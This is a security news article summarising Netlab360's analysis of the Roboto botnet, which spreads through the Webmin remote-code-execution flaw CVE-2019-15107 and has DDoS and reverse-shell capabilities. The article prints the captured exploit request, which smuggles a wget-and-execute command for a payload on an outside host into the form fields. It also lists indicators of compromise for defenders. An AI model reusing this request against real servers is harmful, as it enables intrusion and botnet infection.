Tuesday, November 5, 2024
HomeBotnetRoboto Botnet Exploiting Linux Webmin Server RCE Vulnerability To Perform DDoS Attack

Roboto Botnet Exploiting Linux Webmin Server RCE Vulnerability To Perform DDoS Attack

Published on

Malware protection

A new wave of Roboto Botnet activities being discovered that attack the Linux Webmin servers by exploiting the RCE vulnerability using vulnerability scanning and P2P control module.

Roboto Botnet initially detected via 360Netlab Unknown Threat Detection System as an ELF( Executable Linkable Format) file in august, later, honeypot detects another suspicious ELF sample which acts as a downloader to drop the above bot.

Researcher’s continuous effort for the past 3 months helps to observe the Botnet Roboto activities, targets, and exploitation methods.

- Advertisement - SIEM as a Service

Attackers behind the Roboto botnet employes various algorithm such as Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 to maintain the integrity, protecting its component and gaining the persistence control on Linux Webmin servers.

Roboto Botnet

Researchers said that “the botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to capture a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.”

Roboto Botnet Propagation & Attack Scenario

Researchers observed the Roboto propagation via 51.38.200.230 ( Webmin service Honeypot), and the downloader sample spreading via Webmin RCE vulnerability (CVE-2019-15107).

A Download URL( http://190.114.240.194/boot ) helps to drop the following payload.

POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%

Roboto Downloader’s main purpose is to download the encrypted Roboto Bot program from a specific URL. Later the malicious program will decrypt and execute it.

Attackers using the XOR encryption algorithm to get the bot file, and also it creates a self-starting script based on the release version of the Linux system.

Roboto botnet can perform a variety of sophisticated functionalities including reverse shell, self-uninstall, gather process’ network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack and more.

In order to perform a DDoS attack, Roboto provides four attack methods,

  • CMP Flood
  • HTTP Flood
  • TCP Flood
  • UDP Flood

According to netlab 360 research, Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. 

Netlab360 warned Webmin users to take a look at whether they are infected by checking the process, file name, and UDP network connection, and block the Roboto Botnet related IP, URL and domain names.

Indicators of Compromise (Netlab360)

Sample MD5

4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7

Encrypted Roboto Bot MD5

image.jpg         de14c4345354720effd0710c099068e7
image2.jpg        69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc        f47593cceec08751edbc0e9c56cad6ee
roboto.ttf        3020c2a8351c35530ab698e298a5735c

URL

http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg

Hard-coded Peer IP

95.216.17.209       	Finland             	ASN 24940           	Hetzner Online GmbH
213.159.27.5        	Italy               	ASN 201474          	Aircom Service srl
186.46.45.252       	Ecuador             	ASN 28006           	CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45       	Australia           	ASN 1221            	Telstra Corporation Ltd
66.113.179.13       	United States       	ASN 14280           	NetNation Communications Inc

Latest articles

Evasive Panda Attacking Cloud Services To Steal Data Using New Toolkit

The Evasive Panda group deployed a new C# framework named CloudScout to target a...

Massive Midnight Blizzard Phishing Attack Using Weaponized RDP Files

Researchers warn of ongoing spear-phishing attacks by Russian threat actor Midnight Blizzard targeting individuals...

Sophisticated Phishing Attack Targeting Ukraine Military Sectors

The Ukrainian Cyber Emergency Response Team discovered a targeted phishing campaign launched by UAC-0215...

Chinese Hackers Attacking Microsoft Customers With Sophisticated Password Spray Attacks

Researchers have identified a network of compromised devices, CovertNetwork-1658, used by Chinese threat actors...

Free Webinar

Protect Websites & APIs from Malware Attack

Malware targeting customer-facing websites and API applications poses significant risks, including compliance violations, defacements, and even blacklisting.

Join us for an insightful webinar featuring Vivek Gopalan, VP of Products at Indusface, as he shares effective strategies for safeguarding websites and APIs against malware.

Discussion points

Scan DOM, internal links, and JavaScript libraries for hidden malware.
Detect website defacements in real time.
Protect your brand by monitoring for potential blacklisting.
Prevent malware from infiltrating your server and cloud infrastructure.

More like this

Russia-Linked Hackers Attacking Governmental And Political Organizations

Two pro-Russian threat actors launched a distributed denial-of-service (DDoS) attack campaign against Japanese organizations...

ErrorFather Hackers Attacking & Control Android Device Remotely

The Cerberus Android banking trojan, which gained notoriety in 2019 for its ability to...

GorillaBot Emerged As King For DDoS Attacks With 300,000+ Commands

The newly emerged Gorilla Botnet has exhibited unprecedented activity, launching over 300,000 DDoS attacks...